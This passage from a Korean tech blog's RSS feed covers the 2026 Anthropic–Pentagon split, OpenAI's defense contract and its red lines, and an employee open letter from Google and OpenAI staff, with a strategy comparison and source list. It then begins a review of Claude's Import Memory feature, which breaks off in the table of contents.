&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기회주의 비판론:&lt;/b&gt; Fortune은 &quot;OpenAI가 Anthropic이 '공급망 위협'으로 지정된 뒤 펜타곤 계약을 낚아챘다(sweeps in to snag)&quot;고 표현했다. 경쟁사의 곤경을 이용한 것이며, Altman 자신이 인정했듯 &quot;서둘러 맺어졌다&quot;는 점은 충분한 안전 검토 없이 진행된 것 아니냐는 우려를 낳았다. 실제로 ChatGPT 사용자들의 대규모 구독 취소 움직임이 있었다는 보도도 나왔다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현실주의 옹호론:&lt;/b&gt; AI가 군사 분야에 활용되는 것은 피할 수 없는 현실이다. 참여를 거부하면, 안전 기준이 낮은 다른 기술이 그 자리를 채울 수 있다. OpenAI가 Anthropic과 달리 세 가지 안전 레드라인을 계약에 포함시키는 데 성공했다는 점은 이 논리를 뒷받침한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;레드라인에 대한 비판도 존재한다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Techdirt는 OpenAI의 &quot;대규모 국내 감시 금지&quot; 조항이 실질적으로는 &quot;법적 권한에 따른 활동&quot;을 허용하는 것이라고 지적했다. 미국 정부가 지난 수십 년간 &quot;기술적으로 합법&quot;의 정의를 광범위한 감시 프로그램까지 확대해온 전례를 고려하면, 이 레드라인의 실효성에 의문이 있다는 것이다. MIT Technology Review 역시 &quot;OpenAI의 타협은 Anthropic이 두려워했던 바로 그것&quot;이라는 분석을 내놨다.&lt;br /&gt;(출처: Techdirt, MIT Technology Review, 2026.03.02)&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Altman은 결국 3월 3일, 계약이 &quot;기회주의적이고 엉성해 보였다&quot;고 추가로 인정하며 계약 조건 재협상에 착수했다. Axios에 따르면 OpenAI는 정보기관에 의한 사용 금지 등 추가 감시 보호 조항을 넣기 위한 수정 작업을 진행했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 4장 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4장. 연대 -- 430명의 오픈레터&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건에서 세 번째 축은 기술 기업 내부에서 나왔다. Anthropic이 &quot;공급망 위협&quot;으로 지정된 바로 그날, Google DeepMind와 OpenAI 직원들이 공동 서명한 오픈레터 &lt;b&gt;&quot;We Will Not Be Divided&quot;&lt;/b&gt;가 공개됐다. 경쟁사 직원들이 자사 경영진에게 공개적으로 윤리 기준 채택을 요구한 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오픈레터의 핵심 요구는 명확했다. Anthropic이 고수한 두 가지 레드라인, 즉 &quot;완전 자율무기 금지&quot;와 &quot;시민 대규모 감시 금지&quot;를 Google과 OpenAI도 공식적으로 채택하라는 것이었다. 서명자들은 군사 및 정보기관과의 모든 협력을 거부하는 것이 아님을 강조했다. 합법적이고 인간의 감독이 보장된 범위 내에서의 협력은 지지하되, 인간의 통제를 완전히 배제하는 치명적 자율 시스템과 무차별 감시만을 금지 대상으로 삼는다는 것이었다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;서명자 현황&lt;/b&gt;
&lt;ul style=&quot;margin-top: 10px; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;초기 서명: Google 300명+, OpenAI 60명+, 합계 &lt;b&gt;430명+&lt;/b&gt; (2월 27일)&lt;/li&gt;
&lt;li&gt;월요일까지: Google 약 800명, OpenAI 약 100명, 합계 &lt;b&gt;약 900명&lt;/b&gt;으로 증가&lt;/li&gt;
&lt;li&gt;연구 과학자부터 엔지니어, 제품 관리자까지 다양한 직군 포함&lt;/li&gt;
&lt;li&gt;일부는 회사 내 불이익을 우려해 익명 서명&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px; font-size: 14px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: TechCrunch, The Hill, Engadget, 2026.02.27~03.03)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Jeff Dean의 이례적 행보&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 주목받은 것은 Google의 수석 AI 과학자 &lt;b&gt;Jeff Dean&lt;/b&gt;의 행보다. Google DeepMind의 최고 책임자인 그는 X에서 공개적으로 대규모 감시에 반대하는 입장을 표명했다. &quot;대규모 감시는 수정헌법 제4조를 위반하며, 표현의 자유에 위축 효과(chilling effect)를 가져온다&quot;는 것이 그의 입장이었다. 세계 최대 AI 연구 조직의 총책임자가 이런 공개적 발언을 한 것은, 구글 내부에서도 군사 AI 활용의 윤리적 경계에 대한 논쟁이 상당히 진행되고 있음을 시사한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Jeff Dean의 발언이 Google 회사의 공식 입장을 나타내는 것은 아니다. TechCrunch 보도에 따르면, Google 대변인은 회사가 군사 AI 활용에 관한 명확한 사용 정책을 갖고 있으며 이를 지속적으로 검토한다고 밝혔다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Project Maven 2018에서 2026으로: 논쟁의 진화&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI 업계에서 직원들이 자사의 군사 계약에 반대한 것은 이번이 처음이 아니다. 2018년 Google 직원들은 드론 AI 분석 프로젝트 &quot;Project Maven&quot;에 반대해 대규모 서명운동을 벌였고, 결국 Google은 해당 계약을 갱신하지 않았다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그러나 2018년과 2026년의 요구는 질적으로 달라졌다. 2018년 Project Maven 반대는 &lt;b&gt;&quot;군사 AI 협력 자체를 거부&quot;&lt;/b&gt;하는 방향이었다. 2026년 오픈레터는 &lt;b&gt;&quot;명시적 레드라인을 설정한 조건부 협력&quot;&lt;/b&gt;을 요구한다. 완전 거부에서 조건부 참여로, 업계의 논쟁 지형이 이동한 것이다. AI 기술의 군사적 활용이 이미 현실이 됐고, 기업들이 이를 완전히 거부하기 어려운 경제적, 정치적 압력에 직면해 있기 때문으로 분석된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;OpenAI의 아이러니&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번 사태에서 가장 복잡한 위치에 있는 것은 OpenAI다. 자사 직원들이 레드라인 오픈레터에 서명하는 바로 같은 날, CEO Altman은 펜타곤과 계약 체결을 발표했다. 그런데 역설적으로, OpenAI는 직원들이 요구한 바로 그 레드라인 조항을 계약에 포함시키는 데 성공했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Altman 자신도 목요일 내부 메모에서 OpenAI가 Anthropic과 같은 레드라인을 공유한다고 직원들에게 밝힌 바 있다. 즉, 직원의 요구와 경영진의 행동이 방향적으로는 일치했지만, 타이밍과 방식이 논란을 일으킨 구조다. Anthropic이 원칙을 지키다 배제된 직후 OpenAI가 그 자리를 차지한 것은, 레드라인 포함 여부와 관계없이 &quot;기회주의적&quot;으로 읽힐 수밖에 없었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 5장 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5장. 세 전략 비교 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 2월 27일의 세 사건은 AI 기업이 국가 권력과의 관계에서 택할 수 있는 세 가지 전략을 극적으로 보여준다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold;&quot;&gt;Anthropic (원칙 고수)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold;&quot;&gt;OpenAI (협상 참여)&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold;&quot;&gt;오픈레터 (집단 행동)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;&lt;b&gt;핵심 전략&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;자사가 설정한 레드라인에서 물러서지 않음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;펜타곤이 수용 가능한 선에서 레드라인 협상&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;경쟁사 경계를 넘은 직원 간 연대로 경영진 압박&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;&lt;b&gt;결과&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;계약 파기, 공급망 위협 지정, 법적 대응 예고&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;계약 체결, 3가지 레드라인 포함 (이후 재협상)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;초기 430명+, 월요일까지 약 900명 서명 달성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;&lt;b&gt;강점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;AI 안전 커뮤니티의 강한 지지, 도덕적 권위 확보&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;정부 시장 내 입지 강화, 실질적 레드라인 명시&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;경쟁사 간 연대 형성, 업계 공론화 촉진&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;&lt;b&gt;약점&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;연방 사업 기회 제한, 단기적 사업 타격&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;기회주의 비판, 레드라인 실효성 논란&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;구속력 없음, 실제 정책 변경 불확실&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;&lt;b&gt;장기적 영향&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;법적 선례 가능성, AI 안전 원칙의 가격 증명&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;정부 계약에서 안전 조항 협상의 모델 제시&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px 15px;&quot;&gt;기술 노동자의 집단 발언권 강화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;세 전략 중 어느 것이 장기적으로 더 나은가. 이 질문에 대한 답은 아직 열려 있다. Anthropic의 원칙 고수가 법적 싸움에서 승리해 새로운 선례를 만들 수 있을까. OpenAI의 협상 참여 모델이 실질적으로 AI의 위험한 군사 활용을 제한하는 데 더 효과적일까. 직원들의 집단 행동이 기업 정책을 실제로 바꿀 수 있을까.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;현재로서는 각 전략이 서로를 보완하는 구조라는 관측이 있다. Anthropic이 원칙의 가격을 보여줌으로써 레드라인의 중요성을 각인시켰고, OpenAI는 그 레드라인을 실제 계약서에 넣을 수 있음을 증명했으며, 직원들의 오픈레터는 이 논의를 업계 전체로 확산시켰다. 의도했건 아니건, 세 전략이 결합되어 &quot;AI 군사 활용에는 한계가 있어야 한다&quot;는 메시지를 전달한 셈이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 6장 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6장. 개발자에게 남은 질문&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건은 AI 기술을 만드는 개발자들에게 직접적인 질문을 던진다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;질문 1: AI 기업은 자사 기술의 사용을 어디까지 제한할 수 있는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 자사 모델의 사용 방식에 제한을 두었다. 국방부는 이것이 &quot;민간 기업이 군사적 결정에 간섭하는 것&quot;이라고 봤다. AI 기업이 자사 기술의 사용 범위를 제한할 권리는 어디까지인가. 이 질문은 법적, 윤리적으로 아직 명확한 답이 없다. Nextgov/FCW는 이 사건을 계기로 &quot;정부 계약에서 AI 기업의 권리&quot;에 대한 법적 논의가 본격화될 것으로 전망했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;질문 2: AI 안전과 국가 안보는 충돌하는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 입장은 AI 안전 원칙이 국가 안보보다 우선한다는 것이 아니다. &quot;현재 기술 수준에서 자율무기와 대규모 감시는 안전하지 않기 때문에 국가 안보에도 도움이 되지 않는다&quot;는 논리다. 반면 국방부는 제한 자체가 국가 안보를 위협한다고 봤다. 이 대립 구도는 앞으로 더 심화될 가능성이 높다. AI 기술이 더 강력해질수록, 그리고 국제 AI 경쟁이 더 치열해질수록, 안전과 안보 사이의 긴장은 커질 수밖에 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;질문 3: 한국 개발자 시각에서&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한국에서는 AI 군사 활용에 관한 공개적 논쟁이 아직 초기 단계다. 그러나 한국도 AI 기반 방산 기술 개발이 활발히 진행 중이며, 한국군의 AI 도입이 가속화되고 있다. 이번 사건은 세 가지 시사점을 남긴다. 첫째, AI 기업이 자사 기술의 군사적 활용에 대해 사전에 명확한 원칙을 설정해야 한다는 것. 둘째, 정부 계약이라도 안전 레드라인을 협상할 수 있다는 선례가 만들어졌다는 것. 셋째, 기술 직원들의 집단적 발언이 실제로 영향력을 행사할 수 있다는 것.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;이 사건이 설정한 선례의 의미&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 2월 27일의 사건들은 아직 진행 중이다. Anthropic의 법적 대응이 어떤 결과를 가져올지, OpenAI의 재협상된 계약이 실질적으로 어떤 차이를 만들지, 직원 오픈레터가 실제 기업 정책 변화로 이어질지는 두고 봐야 한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;다만 확실한 것이 하나 있다. 이 사건 이전까지 AI 군사 활용의 윤리적 경계는 기업 내부의 문제였다. 이 사건 이후, 그 경계는 계약서에 명시되고, 법정에서 다퉈지며, 수백 명의 기술자들이 공개적으로 발언하는 문제가 됐다. AI의 레드라인은 더 이상 추상적 원칙이 아니라, 구체적인 계약 조항이자 법적 쟁점이자 노동자 연대의 기반이 된 것이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 8px; border: 1px solid #cce5ff; margin: 30px 0;&quot;&gt;&lt;b&gt;Anthropic-펜타곤 결별 관련&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 15px 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Anthropic 공식 성명 - &quot;Statement from Dario Amodei on our discussions with the Department of War&quot; (anthropic.com, 2026.02.26)&lt;/li&gt;
&lt;li&gt;CNN Business - &quot;Anthropic rejects latest Pentagon offer: 'We cannot in good conscience accede to their request'&quot; (2026.02.26)&lt;/li&gt;
&lt;li&gt;Axios - &quot;Trump moves to blacklist Anthropic's Claude from government work&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;TechCrunch - &quot;Pentagon moves to designate Anthropic as a supply-chain risk&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;CBS News - &quot;Hegseth declares Anthropic a supply chain risk&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;Fortune - &quot;Hegseth issues an ultimatum to 'woke AI' startup Anthropic&quot; (2026.02.25)&lt;/li&gt;
&lt;li&gt;CNBC - &quot;Pentagon-Anthropic AI standoff is real-time testing balance of power in future of warfare&quot; (2026.02.27)&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;OpenAI-펜타곤 계약 관련&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 15px 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OpenAI 공식 블로그 - &quot;Our agreement with the Department of War&quot; (openai.com)&lt;/li&gt;
&lt;li&gt;Axios - &quot;Pentagon approves OpenAI safety red lines after dumping Anthropic&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;TechCrunch - &quot;OpenAI reveals more details about its agreement with the Pentagon&quot; (2026.03.01)&lt;/li&gt;
&lt;li&gt;Fortune - &quot;OpenAI CEO Sam Altman defends decision to strike Pentagon deal, admits 'optics don't look good'&quot; (2026.03.02)&lt;/li&gt;
&lt;li&gt;CNBC - &quot;OpenAI's Altman admits defense deal 'looked opportunistic and sloppy' amid backlash&quot; (2026.03.03)&lt;/li&gt;
&lt;li&gt;Axios - &quot;OpenAI, Pentagon add more surveillance protections to AI deal&quot; (2026.03.03)&lt;/li&gt;
&lt;li&gt;MIT Technology Review - &quot;OpenAI's 'compromise' with the Pentagon is what Anthropic feared&quot; (2026.03.02)&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;직원 오픈레터 관련&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;TechCrunch - &quot;Employees at Google and OpenAI support Anthropic's Pentagon stand in open letter&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;Axios - &quot;Open letter urges Google and OpenAI to join Anthropic's red lines&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;The Hill - &quot;Hundreds of Google, OpenAI employees back Anthropic in Pentagon fight&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;The Decoder - &quot;Google DeepMind and OpenAI employees demand Anthropic-style red lines&quot; (2026.02.27)&lt;/li&gt;
&lt;li&gt;CNBC - &quot;Google employees call for military limits on AI amid Iran strikes, Anthropic fallout&quot; (2026.03.03)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/AI 주간 News (AI 트렌드 기록)</category>
      <category>2026 AI 사건</category>
      <category>AI 군사 윤리</category>
      <category>AI 군사화</category>
      <category>AI 대규모 감시</category>
      <category>AI 레드라인</category>
      <category>AI 자율무기</category>
      <category>Anthropic 펜타곤</category>
      <category>Dario Amodei</category>
      <category>OpenAI 펜타곤 계약</category>
      <category>Sam Altman 펜타곤</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/532</guid>
      <comments>https://goddaehee.tistory.com/532#entry532comment</comments>
      <pubDate>Wed, 4 Mar 2026 00:30:30 +0900</pubDate>
    </item>
    <item>
      <title>Claude 'Import Memory' 리뷰 &amp;mdash; AI 메모리 이전 기능(ChatGPT, Gemini 메모리를 Claude로 옮기는 법)</title>
      <link>https://goddaehee.tistory.com/531</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 앤트로픽(Anthropic)이 공개한 &lt;b&gt;Import Memory&lt;/b&gt; 기능에 대해 알아보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2412&quot; data-origin-height=&quot;1614&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b70zQP/dJMcafsakA9/0SwA6rWslapRG4f85XfVhK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b70zQP/dJMcafsakA9/0SwA6rWslapRG4f85XfVhK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b70zQP/dJMcafsakA9/0SwA6rWslapRG4f85XfVhK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb70zQP%2FdJMcafsakA9%2F0SwA6rWslapRG4f85XfVhK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2412&quot; height=&quot;1614&quot; data-origin-width=&quot;2412&quot; data-origin-height=&quot;1614&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;AI를 오래 쓸수록 쌓이는 것이 있다. 내 말투를 파악하는 방식, 선호하는 언어와 프레임워크, 진행 중인 프로젝트의 맥락... 이 모든 것들이 AI와의 대화 속에 쌓인 &lt;b&gt;&quot;기억&quot;&lt;/b&gt;이다. 그런데 다른 AI로 바꾸고 싶다면? 지금까지 처음부터 다시 시작해야 했다. 앤트로픽은 이 문제를 정면으로 겨냥한 기능을 내놓았다.&lt;/p&gt;
&lt;!-- 공식 데모 영상 --&gt;
&lt;div style=&quot;margin: 25px 0 30px 0; border-radius: 12px; overflow: hidden; border: 1px solid #dde4ed; box-shadow: 0 2px 12px rgba(0,0,0,0.08);&quot;&gt;&lt;video style=&quot;width: 100%; display: block; max-height: 520px; object-fit: cover; background: #000;&quot; src=&quot;https://cdn.sanity.io/files/4zrzovbb/website/9698240446360831babf51002f977fec49c43212.webm&quot; autoplay=&quot;autoplay&quot; loop=&quot;loop&quot; muted=&quot;&quot; controls=&quot;controls&quot;&gt;&lt;/video&gt;
&lt;div style=&quot;background: #f8fbff; padding: 10px 15px; font-size: 13px; color: #666; text-align: center; border-top: 1px solid #dde4ed;&quot;&gt;▲ Anthropic 공식 Import Memory 데모 영상 (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://claude.com/import-memory&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude.com/import-memory&lt;/a&gt;)&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Import Memory란 무엇인가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI 기억 락인(Lock-in) 문제&lt;/li&gt;
&lt;li&gt;Import Memory 소개&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;사용 방법: 3단계로 끝내기
